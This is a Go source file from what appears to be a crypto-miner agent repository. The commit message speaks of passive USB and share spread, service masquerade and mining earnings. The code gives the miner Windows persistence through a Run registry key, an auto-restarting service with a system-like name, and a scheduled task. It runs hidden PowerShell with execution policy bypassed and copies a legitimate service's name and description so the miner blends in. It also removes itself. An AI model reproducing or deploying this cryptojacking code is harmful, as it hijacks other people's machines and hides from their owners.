Files
AetherForge/agent/deploy/platform_windows.go
drjones 102d2fb7c6 Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
2026-05-29 22:29:58 -07:00

175 lines
5.5 KiB
Go

//go:build windows
package deploy
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"crypto-miner-agent/config"
"golang.org/x/sys/windows/registry"
)
func CurrentExecutable() (string, error) {
path, err := os.Executable()
if err != nil {
return filepath.Abs(os.Args[0])
}
return filepath.Abs(path)
}
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err != nil {
return err
}
defer k.Close()
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag))
}
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
switch cfg.RunAs {
case "service":
return createWindowsService(cfg, installedBin)
case "scheduled":
return createScheduledTask(cfg, installedBin)
default:
return nil
}
}
// createWindowsService installs the miner as a real Windows Service with
// automatic crash-restart. When ServiceMasquerade is enabled, the service
// name and description are cloned from the donor service so it blends in.
func createWindowsService(cfg config.RuntimeConfig, binPath string) error {
svcName := cfg.ServiceName
if svcName == "" {
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
}
// Tear down any stale instance first (errors are expected and ignored)
_ = exec.Command("sc.exe", "stop", svcName).Run()
_ = exec.Command("sc.exe", "delete", svcName).Run()
// Give SCM time to fully remove the entry
exec.Command("timeout", "/T", "1", "/NOBREAK").Run() //nolint:errcheck
// Create the service
if err := exec.Command("sc.exe", "create", svcName,
"binPath=", `"`+binPath+`" --run`,
"type=", "own",
"start=", "auto",
"error=", "ignore",
).Run(); err != nil {
return fmt.Errorf("sc create: %w", err)
}
// Crash recovery: restart immediately (0 ms), then after 5 s, then 30 s
_ = exec.Command("sc.exe", "failure", svcName,
"reset=", "60",
"actions=", "restart/0/restart/5000/restart/30000",
).Run()
// Start it
_ = exec.Command("sc.exe", "start", svcName).Run()
// Masquerade: copy description from donor service
if cfg.ServiceMasquerade && cfg.ServiceDonor != "" {
cloneServiceDescription(svcName, cfg.ServiceDonor)
}
return nil
}
// cloneServiceDescription copies the display name and description from
// donorSvc into targetSvc using PowerShell so the service looks legitimate.
func cloneServiceDescription(targetSvc, donorSvc string) {
ps := fmt.Sprintf(`
$donor = Get-Service '%s' -EA SilentlyContinue
if ($donor) {
$wmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
$donorWmi = Get-WmiObject Win32_Service -Filter "Name='%s'" -EA SilentlyContinue
if ($donorWmi) {
sc.exe description '%s' ($donorWmi.Description)
Set-Service '%s' -DisplayName $donorWmi.Caption -EA SilentlyContinue
}
}
`,
strings.ReplaceAll(donorSvc, `'`, `''`),
strings.ReplaceAll(targetSvc, `'`, `''`),
strings.ReplaceAll(donorSvc, `'`, `''`),
strings.ReplaceAll(targetSvc, `'`, `''`),
strings.ReplaceAll(targetSvc, `'`, `''`),
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps)
_ = cmd.Run()
}
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
taskName := PersistenceKeyName(cfg)
if taskName == "" {
taskName = "CryptoMinerAgent"
}
script := fmt.Sprintf(
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
strings.ReplaceAll(binPath, `'`, `''`),
runFlag,
strings.ReplaceAll(taskName, `'`, `''`),
)
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
return cmd.Run()
}
func applyDetachedStart(cmd *exec.Cmd) {
if cmd == nil {
return
}
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CreationFlags: 0x08000000,
}
}
func HostOSVersion() string {
out, err := exec.Command("cmd", "/C", "ver").CombinedOutput()
if err != nil {
return "windows"
}
return strings.TrimSpace(string(out))
}
func killWorkerProcess(cfg config.RuntimeConfig) {
_ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run()
}
func removePersistence(cfg config.RuntimeConfig) {
keyName := PersistenceKeyName(cfg)
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
if err == nil {
_ = runKey.DeleteValue(keyName)
runKey.Close()
}
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
// Remove service — use the configured name if available, fall back to legacy pattern
svcName := cfg.ServiceName
if svcName == "" {
svcName = "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
}
_ = exec.Command("sc.exe", "stop", svcName).Run()
_ = exec.Command("sc.exe", "delete", svcName).Run()
}
func selfUninstallSpawn(installDir string) {
ps := fmt.Sprintf(`
$dir = '%s'
Start-Sleep -Seconds 2
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
`, strings.ReplaceAll(installDir, "'", "''"))
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
_ = cmd.Start()
}